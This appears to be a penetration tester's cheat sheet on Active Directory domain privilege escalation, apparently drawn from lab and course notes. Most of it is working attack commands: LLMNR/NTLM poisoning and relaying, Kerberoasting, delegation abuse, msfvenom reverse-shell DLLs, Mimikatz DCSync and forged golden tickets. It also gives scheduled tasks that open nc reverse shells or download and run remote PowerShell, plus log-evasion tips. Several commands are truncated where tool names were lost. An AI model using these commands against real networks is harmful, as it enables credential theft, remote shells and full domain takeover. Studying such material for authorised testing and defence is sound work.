Domain Privilege Escalation

Checklist :

Common Attack Methods

Common Misconfigurations

#Cisco Type 7 Passwords

nmap -p 4786 -oG smart-installs

#Pull the configs with SIET -i -g 

#Passback attacks


  • Due to insufficient validation of Group memberships, a domain user's ticket can be re-written to Domain admin.

  • Kekeo

MITM Attacks


#For Windows
git clone

#For Linux
git clone
python -I ens160 -A
python -I tun0 -rdw -v
#On Windows hosts use Inveigh.ps1

Import-Module ./Inveigh.psd1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP <attackerIP>

If you press any key in this window, it will stop the live view of requests, but keep 
the listener running.
Clear-Inveigh – clear the $inveigh hashtable
Get-Inveigh -NTLMv2 – get data from the $inveigh hashtable
Stop-Inveigh – stop all running Inveigh modules
Watch-Inveigh – enable real time console output

#WPAD : By default, Windows is configured to search for a Proxy Auto Config (PAC) file, via the Web 
Proxy Auto-Discovery (WPAD). Automatic discovery of the PAC file is useful in an organization because the device will 
send out a broadcast asking for the proxy file and receive one.

responder -I eth0 --wpad

#Crack hashes
hashcat.exe -a 0 -m 5600 hashes.txt rockyou.txt -o cracked.txt -O

NTLM Relaying

  • Requires SMB-Signing to be OFF

  • Requires victim to be LA on relayed target.

  1. Identify network systems that do not require SMB message validation

  2. Configure Impacket’s NTLMrelayx to target those systems

  3. Disable SMB and HTTP request/response poisoning in Responder and launch

  4. Wait for creds

  • Inveigh relaying works only for HTTP Proxy

#Edit Responder.conf file and turn off the SMB and HTTP servers

#Enumerate potential targets with SMB Signing: Disabled
nmap -sU -sT -p U:137,T:139,445 --script=smb2-security-mode.nse
cme smb <CIDR> --gen-relay-list targets.txt

#Fire up Responder & NTLM Relayx. By default dumps hashes from SAM if Local Admin.
./ -I eth0 -rdw
./ -tf smbtargets -smb2support

#Execute commands on successful login -tf targets.txt -c <insert cmd>

Integrated DNS Zones


Utilizes IPv6 and DNS to relay credentials to a target. By default, IPv6 is enabled and actually preferred over IPv4, meaning if a machine has an IPv6 DNS server, it will use that over the IPv4. Also by default, Windows machines look for an IPv6 DNS server via DHCPv6 requests, which if we spoof with a fake IPv6 DNS server, we can effectively control how a device will query DNS.

git clone
pip install .
mitm6 -d lab.local

LDAP Relay

  • Used to relay LDAP credentials to DC.

  • Leverages the default configuration of not required signed LDAP binds.

  1. Identify Domain Admin's workstation.

  2. Establish MITM between workstation and gateway.

  3. Inject a hidden link in the web traffic pointing to an HTTP listener that requests NTLM authentication.

  4. Redirect the captured credentials to DC.

MS-15-011 [GPO

  • There's a link in the Group Policy object to SYSVOL containing settings for the GPO so that the files can be copied and then applied.

  • If we become MITM between DC SYSVOL share and a client, we can have that client run our version of that Group Policy.

  • Passwordless RDP Session Hijack

    • Requires SYSTEM privileges.


  • Successful attack can result in decrypted RDP session containing keystrokes and subsequently privileged credentials.

  • Cain

  • Seth: Useful to bypass RDP with TLS or RDP configurations enhanced with CredSSP.

  • NLA prevents this attack.

  • Modern defenses can easily detect this attack.

ARP Poisoning


  • Pre-requisites:

    • User credentials with access to mailbox

    • Exchange server with excessive permissions on DC(default) -t ldap://<Attacker-IP> --escalate-user rsmith
python -ah <Attacker-IP> DC-1.lab.local -u rsmith -d lab.local -p Winter201

#DCSync pwnage

Access Control Abuse


Abuse SeBackup privilege

  • This privilege causes the system to grant all read access control to any file (only read).

#Retrieve files from the Administrator Desktop
robocopy /b C:\Users\Administrator\Desktop\ C:\

#Change ACLs to a restricted path
Acl-FullControl -user <domain>\<user> -path c:\users\administrator

#Dumping Hashes with WBAdmin ( Reference: HTB-Blackfield)
#Set up an SMB Server. Check 'SMB' section in notes.
#NTFS disk is required.

#Backup NTDS.dit
echo "Y" | wbadmin start backup -backuptarget:\\\smb -include:c:\windows\ntds
wbadmin get versions

#Restore ntds.dit without ACLs from the backup
echo "Y" | wbadmin start recovery -version:10/01/2020-14:23 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
reg save HKLM\SYSTEM C:\system.hive

GenericAll on Group

net group "Domain Admins" contoso\userA /add /domain
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred

Add-ADGroupMember SvcAccPSOGroup -Member SQL01, SQL02 

#Adding members in Cross forest context
$user=Get-ADUser <targetuser> -server <DC1>
Add-ADGroupMember -Identity "<groupname>" -Members $user -Server <DC2>

Abuse User-Force-Change-Password

$UserPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
Set-DomainUserPassword -Identity uatadmin -AccountPassword $UserPassword -Domain <domain.local> -Verbose

Set-ADAccountPassword 'cn=julie,ou=users,ou=london,ou=offices,dc=nss,dc=local' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd" -Force) -Server <DC-IP> -Credential "<domain>\<username>"

#Add user to group
net group "Domain Admins" <username> /ADD /DOMAIN

#WriteDACL on Domain :  Add ACLs to domain objects | Provide DCSync rights 

rpcclient -U blackfield/support
setuserinfo <user> 23 <pass>

Exchange Windows permissions (EWP) security group membership

#Add user from the "Organizational Management" to "Exchange Trusted Subsystem"
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
$user = Get-ADUser -Identity $id.User 
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members $user

#Logout and login to update token groups. 
Give DCSync permissions
Add-DomainObjectAcl -Rights DCSync


#Give permissions to perform DCSync
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
Add-ADPermission "DC=test,DC=local" -User $id.Name -ExtendedRights Ds-Replication-GetChanges,Ds-Replication-Get-Changes-All

AD Recycle Bin Group Membership

#Enumerate deleted objects
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
Get-ADObject -Identity 'f0cc344d-31e0-4866-bceb-a842791ca059' -Properties * -includeDeletedObjects

Restore-ADObject -Identity '562f229c-e03a-4005-a098-10046e9b8942'


Service Account Kerberoast

  • Offline cracking of service account passwords.

  • We target User Accounts used as Service Accounts as Machine Account hashes are nearly impossible to crack.

  • If SPN is not null, DC assumes it is a service account.

  • The Kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack.

  • Service accounts are many times ignored (passwords are rarely changed) and have privileged access.

  • Password hashes of service accounts could be used to create Silver tickets.

  • Leaves a 4769 log entry on DC. But this is very common, hence very silent attack.

  • Tip: Target tickets for accounts older than 2015 and newer than 2005.

    • Avoids honey accounts.

    • Easier to crack RC4 encryption.

    • High likelihood of weak passwords.


  1. A attacker authenticates to a domain and gets a ticket-granting-ticket (TGT) from the domain controller that’s used for later ticket requests.

  2. The attacker uses their TGT to issue a service ticket request (TGS-REQ) for a particular servicePrincipalName (SPN) of the form sname/host, e.g. MSSqlSvc/ This SPN should be unique in the domain, and is registered in the servicePrincipalName field of a user or computer account. During this request process, the attacker can specify what Kerberos encryption types they support (RC4_HMAC, AES256_CTS_HMAC_SHA1_96, etc).

  3. If the attacker’s TGT is valid, the DC extracts information from the TGT, stuffs it into a service ticket. Then the domain controller looks up which account has the requested SPN registered in its servicePrincipalName field. The service ticket is encrypted with the hash of the account with the requested SPN, using the highest level encryption key that both the attacker and the service account support. The ticket is sent back to the attacker in a service ticket reply (TGS-REP).

  4. The attacker extracts the encrypted service ticket from the TGS-REP. Since the service ticket was encrypted with the hash of the account linked to the requested SPN, the attacker can crack this encrypted blob offline to recover the account’s plaintext password.

Find User Accounts

#impacket -dc-ip <domain>/<username> 

Get-NetUser –SPN

Get-ADUser -Filter{ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Request a TGS

#Hashcat format
Invoke-Kerberoast -Identity <samaccountname of svc> -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.txt

#Kirbi format
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"  


#Manually request and export: [Crack with]
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/Databaseserver.domain.local:1433'
Invoke-Mimikatz -Command '"kerberos::list /export"'

#impacket > Directly crackable by hashcat -request -dc-ip <domain>/<username> 

Request-SPNTicket -SPN MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"

./Rubeus.exe kerberoast /outfile:hashes.kerberoast
./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972

Crack Service Account Hash

hashcat -m 13100 hash.txt Pass-wordlist.txt --show --force

git clone
sudo apt-get install libkrb5-dev
pip install kerberos
python3 .\ .\wordlist.txt .\TGS.LOCAL.kirbi

python3 hash.kirbi -o john.hash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast

AS-REP Roast

Kerberos Pre-authentication : Disabled

  • If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline.

  • With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.

  • Rare in corporate environments.


  1. [AS-REQ] Timestamp is encrypted with the NTLM hash of the user and sent to KDC. This is when Pre-Auth is enabled. KDC knows that the request came from the specific user. If disabled, this step can be spoofed.

  2. [AS-REP] KDC creates a TGT which is encrypted. It contains an additional information which is signed with the user's NTLM hash.

  3. Attacker grabs the AS-REP and cracks the user's NTLM hash offline.


Enumerating accounts with Kerberos Preauth disabled

Get-DomainUser -PreauthNotRequired -Verbose

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

#Automate the process: Enumerate all users with Kerberos preauthdisabled and request an AS-REP
. .\Invoke-ASREPRoast
Invoke-ASREPRoast -Verbose

Get-ASREPHash -UserName VPN1user -Verbose

#Impacket -dc-ip <DC-IP> <Domain>/ -usersfile users.txt -no-pass -format john -outputfile hashes | grep -v 'KDC_ERR_C_PRINCIPAL_UNKNOWN'

#For scanning with a TGT (Impacket) -dc-ip <IP> <domain>/<user:pass>

Force-Disable Kerberos Pre-auth with GenericWrite or GenericAll ACL

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

#Force disable Kerberos Preauth
Set-DomainObject -Identity Victimuser -XOR @{useraccountcontrol=4194304} –Verbose

Cracking the hashes

./john hash --format=krb5asrep --wordlist=wordlist.txt
hashcat -m 7500 hash.txt Pass-wordlist.txt -a 0


  • If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.

  • Make sure the set SPN is unique in the domain.

  • We can then request a TGS from this user and crack the hash offline.

Enumerate Permissions

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

#List SPN set for a user. Check with both tools for accuracy!
Get-DomainUser -Identity victumuser | select serviceprincipalname
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

Set an SPN for the use

Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'} -Verbose

#AD-Module. (May not work at all times.)
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'} -Server <DC>

#Reset SPN after abuse
Set-ADObject -SamAccountName <Target> -PropertyName serviceprincipalname -ClearValue
Set-DomainObject -Identity <Target> -Clear serviceprincipalname
Set-ADUser <target> -ServicePrincipalNames @{Remove='ops/whatever1'} -Server <DC>
  • Request TGS -> Export TGS to disk and brute-force offline. Steps are mentioned in the Service Account Kerberoast technique above.

Kerberos Delegation


Kerberos Workflow

User logs on with username & password.

1a. Password converted to NTLM hash, a timestamp is encrypted with the hash and sent to the KDC as an authenticator in the authentication ticket (TGT) request (AS-REQ). 1b. The Domain Controller (KDC) checks user information (logon restrictions, group membership, etc) & creates Ticket-Granting Ticket (TGT).

2. The TGT is encrypted, signed, & delivered to the user (AS-REP).Only the Kerberos service (KRBTGT) in the domain can open and read TGT data

3. The User presents the TGT to the DC when requesting a Ticket Granting Service (TGS) ticket (TGS-REQ). The DC opens the TGT & validates PAC checksum – If the DC can open the ticket & the checksum check out, TGT = valid. The data in the TGT is effectively copied to create the TGS ticket

4. The TGS is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP).

5. The user connects to the server hosting the service on the appropriate port & presents the TGS (AP-REQ). The service opens the TGS ticket using its NTLM password hash.

Unconstrained Delegation


  1. A user provides credentials to the Domain Controller.

  2. The DC returns a TGT.

  3. The user requests a TGS for the web service on Web Server.

  4. The DC takes a copy of the TGT, puts it into the the TGS, delivers it back to the user.

  5. The user sends the TGS to the web server.

  6. The web server service account uses the user's TGT within the TGS, to request a TGS for the database server from the DC. The TGT is placed in memory for future use.

  7. The web server service account connects to the database server as the user.

  • Unconstrained Delegation allows the first hop server, for example web server, to request access to any service on any computer in the domain, provided the service account for web service must be trusted for delegation to be able to make requests as a user.

  • DC places user's TGT inside TGS (Step 4 in the previous diagram). This TGT is signed and encrypted with the hash of the Web Service account.

  • The Web Service is able to decrypt the TGS and extracts the user's TGT from the TGS. This TGT is presented to the DC when requesting for a TGS for the Database server as the impersonated user.

  • When presented to the server with unconstrained delegation, the TGT is extracted from TGS and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user.

  • 'Service For User To Self' (S4U2Self). This extension allows a service to request a token for another user, by supplying their user principal name, but without supplying a password. When the user account has the T24AD flag, these tokens can be requested with the 'forwardable' attribute which allows the service to authenticate with these tokens to other services.

  • This could be used to escalate privileges if:

    • You are able to compromise a server that has unconstrained delegation set.

    • You are able to trick a domain user that doesn’t have ‘Account is sensitive and cannot be delegated’ enabled to connect to any service on the machine. This includes clicking on \\SERVER\Share.

    • Wait for a Domain Admin to connect to that machine.

    • Steal token from LSASS Process[Requires local admin privileges]

    • Inject the stolen token into memory to run privileges commands.

Identify Users/Computers having Unconstrained Delegation

  • An account that has the TRUSTED_FOR_DELEGATION UserAccountControl flag set.

  • Tip: Ignore DCs, they are always shown as having unconstrained delegation.

  • We must have compromised the computer with Unconstrained Delegation enabled for this attack.

#Identify privileged users whose credentials are not protected when interacting with a system featuring unconstrained delegation:
Get-DomainUser -AllowDelegation -AdminCount

$Computers =  Get-NetComputer -Unconstrained -Properties useraccountcontrol,dnshostname | fl
$Users = Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Check/Wait for Domain Admin to log in

  • Check if any DA token is available in LSASS process and save to disk.

  • We must trick or wait for a domain admin to connect a service onto the compromised computer.

  • Leverage printer bug to coerce the DC to authenticate to the compromised host. The incoming TGS(which contains the DC's TGT) is encrypted with the service A/c hash of the compromised host. As we control it, this TGS is decrypted and the DC's TGT is stored in LSASS.

    • For detailed exploit walkthrough: Refer

#To exploit printer bug:
# krbrelayx toolkit (
#.\MS-RPRN.exe \\<target-DC> \\<Script running machine>

#Monitor for high-value-target logins

.\Rubeus.exe monitor /interval:5 /nowrap
Invoke-UserHunter -Computername <compromised-pc> -Poll 100 -Username Administrator -Delay 5 -Verbose

#Once you have the coerced DC's TGT stored in LSASS:
Invoke-Mimikatz –Command '"sekurlsa::tickets"'
Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'

#Inject ticket
.\Rubeus.exe ptt /ticket:<TGTofDCORP-DC$>

Invoke-Mimikatz -Command '"kerberos::ptt Administrator_ticket.kirbi"' 

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' -Computername <target>
Invoke-Command -ScriptBlock {\\<IP>\shared\nc64.exe <IP> 9002 -e cmd.exe} -ComputerName <target>

# Convert Base64EncodedTicket to kirbi, remove unnecessary spaces and newline
[IO.File]::WriteAllBytes("C:\fullpathtoticket.kirbi", [Convert]::FromBase64String("aa…"))

#Convert the ticket.kirbi to a ccache file using Kekeo
kekeo # misc::convert ccache ticket.kirbi

#Copy the ccache file to your Kali, export the KRB5CCNAME variable
export KRB5CCNAME=/path/to/ticket.ccache

#Dump domain hashes with -k -no-pass domain/user@domain-controller-fqdn

Constrained Delegation



  • Constrained Delegation allows the first hop server (web server in our example) to request access only to specified services on specified computers.

  • If the user is not using Kerberos authentication to authenticate to the first hop server, Windows offers Protocol Transition to transition the request to Kerberos.

  • Essentially, if a computer/user object has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION then anyone who compromises that account can impersonate any user to the SPNs set in msds-allowedtodelegateto.

  • Service For User To Proxy (S4U2Proxy): This setting is controlled by the msDS-AllowedToDelegateTo attribute on the user account. It contains a list of Service Principal Names that point to which Kerberos services the user can forward these tokens.

  • During the first KRB_TGS_REQ to the KDC, the forwardable flag it set, which requests that the TGS returned be marked as forwardable and thus able to be used with the S4U2proxy extension. In unconstrained delegation, a TGT is used to identify the user, but in this case the S4U extension uses the PA-FOR-USER structure as a new type in the “padata”/pre-authentication data field.

    Note that the S4U2self process can be executed for any user, and that target user’s password is not required. Also, the S4U2self process is only allowed if the requesting user has the TRUSTED_TO_AUTH_FOR_DELEGATION field set in their userAccountControl.


  • We can substitute the service allowed for impersonation with any other service we choose (using the /altservice: parameter) when we use the S4U process to request a TGS ticket. This is possible because the service name itself is not in a protected part of the KRB-CRED file.

  • Any service running on the machine account. There is no validation for the SPN specified. eg: LDAP, WMI etc. as the impersonated user.

  • In the below example, we have the SPN configured to the time service. But since the machine account also runs LDAP, we can impersonate the DA's privileges to access LDAP and run DC Sync Attacks! [No SNAME Validation]

Scenario 1 – You have command execution as the account in question, but you don’t know the password for the account. [For more refer here]

Scenario 2 – You know the NTLM hash for the account in question (or, you at least know the cleartext password and can derive the NTLM hash).


  1. The user authenticates to the web service using a non-Kerberos compatible authentication mechanism.

  2. The web service requests a ticket from the Key Distribution Center (KDC) for the 'user' account without supplying a password, as the svc_web account.

  3. The KDC checks the svc_web userAccountControl value for the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag, and that the target user is not blocked for delegation. If OK it returns a forwardable ticket for the 'user' account (S4U2Self).

  4. The service then passes this ticket back to the KDC and requests a service ticket for the cifs/ service

  5. The KDC checks the msDS-AllowedToDelegateTo field on the svc_web account. If the service is listed it will return a service ticket for the file share (S4U2Proxy)

  6. The web service can now authenticate to the file share as the 'user' account using the supplied ticket


  • HOST SPN: allows to schedule tasks.

  • MSSQLSvc SPN: allows DBA rights.

  • CIFS SPN: allows complete remote file access.

  • HTTP SPN: allows for the takeover of the remote webservice

  • LDAP : allows for DCSync

  • HTTP/SQL service accounts, even if they aren’t elevated admin on the target, can also possibly be abused with Rotten Potato to elevate rights to SYSTEM.

Identify users and computers with constrained delegation enabled

  • Computer/user object has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION

Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth

Get-NetUser -TrustedToAuth -Properties useraccountcontrol,samaccountname,serviceprincipalname,msds-allowedtodelegateto | fl
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
  • Either plaintext password or NTLM hash is required

#1 Using NTLM Hash

Request a TGT for Compromised Service A/c

  • kekeo can be used to read/write to LSASS without having administrator privileges.

#asktgt from Kekeo
tgt::ask /user:servicename /domain:abc.corp.local /ntlm:<ntlm> /ticket:service.kirbi

Request a TGS

tgs::s4u /tgt:TGT_file.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
#Alternate service:
tgs::s4u /tgt:tgt_file.kirbi /user:Administrator@us.funcorp.local /service:time/|CIFS/

Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL" /ptt
#Alternate service:
Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL" /altservice:http /ptt

Inject the ticket

Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$ 

#2 Using Clear-text credentials

Request a TGT

#With clear-text creds of computer A/c
#Powershell: Execute on host that has constrained delegation.
# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@TESTLAB.LOCAL')
# actually impersonate the next context
$Context = $Ident.Impersonate()
# implicitly invoke S4U2Proxy with the specified action
# undo the impersonation context

DC Sync Attack

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' 

DNS Admins

  • It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

  • In case the DC also serves as DNS, this will provide us escalation to DA.

  • DNS service usually runs on DC, hence a quick domain privilege escalation technique!

  • Creates an Event ID 770 on server [dll loaded from location.dll]



  • Compromised user belonging to DNSAdmins Group

  • Privileges to restart the DNS service[By default members of DNSAdmins cannot. This is the exploitable security misconfiguration]

  • Knowledge of location/share the target Domain Controller’s computer account can access.

  • RSAT to be accessible

    • Run on DC and restart it: Install-WindowsFeature -IncludeAllSubFeature RSAT

Enumerate the members of the DNSAdmins group

net user <userName> /domain

Get-NetGroupMember -GroupName "DNSAdmins"

Get-ADGroupMember -Identity DNSAdmins

Generate the malicious .DLL

#1 Generate Payload
//Using msfvenom to create a dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP>LPORT=<Port> -f dll > rshell.dll
#-p windows/shell_reverse_tcp

msfvenom -p windows/x64/exec cmd='net group "domain admins" username /add /domain' -f dll >privesc.dll
msfvenom -p windows/x64/exec cmd='net group "net user <username> <password> /domain ' -f dll >privesc.dll

#Restart DNS service
sc.exe \\dcorp-dc stop dns
sc.exe \\<DC-IP> start dns

#Cleanup: Append to payload for stealth
reg delete \\\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
reg delete  HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

dnscmd dcorp-dc /config /serverlevelplugindll \\\dll\mimilib.dll 

//DNSServer module (needs RSAT DNS)
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose

#3 Check if uploaded(Requires admin rights)
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
reg query \\<DC-IP>\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

#4 Restart Service
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns


  • mimilib.dll: Mimilib contains a function which can be loaded as a plugin into serverlevelplugindll in the registry.

  • By default, the mimilib.dll logs all DNS queries to C:\Windows\System32\kiwidns.log

  • We can modify mimilib.dll to add our own payload[Reverse shell, Modify ACL etc.]

  • Tip: If a reverse shell is used, this will result in all DNS queries failing on the server as it will be too busy attending to the interactive shell. Recommended to use other asynchronous payloads.

  • Once dll is created, host it[via smb], or copy it to a directory which DC has read access to.

Exploiting Group Policy Preferences [GPP]

Whenever a Group Policy Preference is created inside SYSVOL, an associated XML file is also created containing data relevant to the configuration to be deployed. If a password is included, it is encrypted with AES-256 bit encryption. MS released the encryption key.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

type \\conda.local\sysvol\conda.local\policies\{EA3B53C1-DDB1-4E62-818F-B7E7933A4E44}\mACHINE\sCRIPTS\Startup\Set-Password.ps1

PKI Abuse - AD CS


  • Riskinsight [Link]

  • Specterops Blog

  • Abusing Weak ACL on Certificate Templates: Blog

Escalating to Enterprise Admin/Forest Root D.A

Child to Forest Root

  • Domains in the same forest have an implicit-two way trust with other domains.

  • There is a trust key between parent-child domains.

Two ways of escalating privileges between two domains of same forest:

  • Krbtgt hash

  • Trust tickets

Trust Tickets


  1. Client presents time-stamp encrypted with the NTLM hash of the user to the DC-1.

  2. KDC responds with the TGT.

  3. Client resends TGT requesting for TGS for a service.

  4. DC-1 checks it's Global Catalog and finds the service is not in it's domain but a parent domain. Hence, DC-1 responds with an Inter-realm TGT[Referral Ticket]. This ticket is signed and encrypted with a Trust Key.

  5. Client sends the Inter-realm TGT to DC-2. Only validation performed by the DC-2, is whether it can decrypt the Inter-realm TGT. DC-2 shares the Trust Key and can decrypt it. It assumes what's inside the TGT is valid.

  6. DC-2 presents the TGS

  7. Client sends TGS to the service and the service decides whether it can be accessed by the user.

Obtain Trust Key

  • Execute this on a Domain Controller.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' 

#DC-Sync Attack
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

Forge Inter-realm TGT

  • We're forging a TGT as an Administrator of a Child-Domain from Child-Domain, who is part of E.A group to the Forest Root DC.

  • Does not require domain admin privileges. (Only trust key)

  • When using Golden Ticket, you have 20 minutes before a validation takes place from the DC to verify if the associated account exists or not.

#Get current Domain SID(Not forest root) 
Get-DomainSID -Domain <Domain>

#Get SID of Enterprise Admin Group
Get-NetGroup "Enterprise Admins" -Domain <Forest-root.local> | select objectsid

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:<childdomain.local>
/sid:<Current-domain-SID> /sids:<Enterprise Admin Group SID> /rc4:165bdf854bed979887df9d1db567b55b /service:krbtgt /target:<Forest root domain>
  • /sids: SID of the enterprise admins group of the parent domain. Only validation by DC-2 is checking whether the TGT can be decrypted(which it can since it shares the trust key). Hence we write SID history to make the request coming from us appear as it's coming from the Enterprise Admins group of the parent domain which gives us elevated privileges.

Request for a TGS for a service target domain

Tickets for services:

  • WMI : HOST and RPCSS

  • PowerShell Remoting/WinRM : HOST and HTTP

  • Scheduled Tasks: HOST

.\asktgs.exe trust_tkt.kirbi CIFS/<Forest-root-DC>
.\asktgs.exe trust_tkt.kirbi HOST/<Forest-root-DC>

Rubeus.exe asktgs /ticket:C:\rust_tkt.kirbi /service:cifs/<Forest-root-DC> /dc:<Forest-root-DC> /ptt

Use the TGS to access the targeted service

  • Inject ticket into LSA using kirbikator.

.\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi
.\kirbikator.exe lsa .\HOST.mcorp-dc.moneycorp.local.kirbi

ls \\mcorp-dc.moneycorp.local\c$ 

#Schedule Task
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "\\<IP>\shared\nc64.exe <IP> <Port> -e cmd.exe"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck"


  • In comparison to Trust Tickets, in this case only TGT is created. This TGT is sent when requesting for TGS.

  • /sids is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Invoke-Mimikatz -Command '"kerberos::golden  /user:Administrator /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt1.kirbi"'

On any machine of the current domain

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt1.kirbi"'

ls \\mcorp-dc.moneycorp.local\c$

gwmi -class win32_operatingsystem -ComputerName mcorp-dc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "<task-name>" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://<IP>/Invoke-PowerShellTcpEx.ps1''')'"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "<task-name>"

Tips: Avoid Suspicious Logs

Invoke-Mimikatz -Command '"kerberos::golden /user:dcorp-dc$ 
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /groups:516 /sids:S-1-5-21-280534878-
1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ptt"'

Invoke-Mimikatz -Command '"lsadump::dcsync /user:mcorp\Administrator /domain:moneycorp.local"' 


Trust Flow Across Forest

In this case you can sign with the trusted key a TGT impersonating the Administrator user of the current domain. In this case you won't always get Domain Admins privileges in the external domain, but only the privileges the Administrator user of your current domain was given in the external domain.

  • Read this! :

  • Workflow is similar to Cross-Domain requests.

  • Except for: SID Filtering. We cannot become Enterprise admin as in Cross-Domain Priv esc.

    • Gained privileges will be same as the ones provided for the requesting DC.

    • For example:

      • If our DC is part of Builtin Administrators Group in target Forest, we will get Administrators Group permissions.

      • If our DC can access a file-share, we can do the same on target Forest.

SID Filtering

  • TGT contains PAC which contains group memberships of a user.

  • When TGTs - >TGSs are requested from Forest A to Forest B:

    • Only existing SIDs from Forest A are allowed.

    • Non existing SIDs/ForestSpecific SID that exists in forest B within TGT are filtered out.

    • It still allows us to pretend to be any user in Forest A, so if users from Forest A have been given any special privileges in Forest B

Trust Flow Abuse

Obtain Trust Key

Invoke-Mimikatz -Command '"lsadump::trust /patch"'
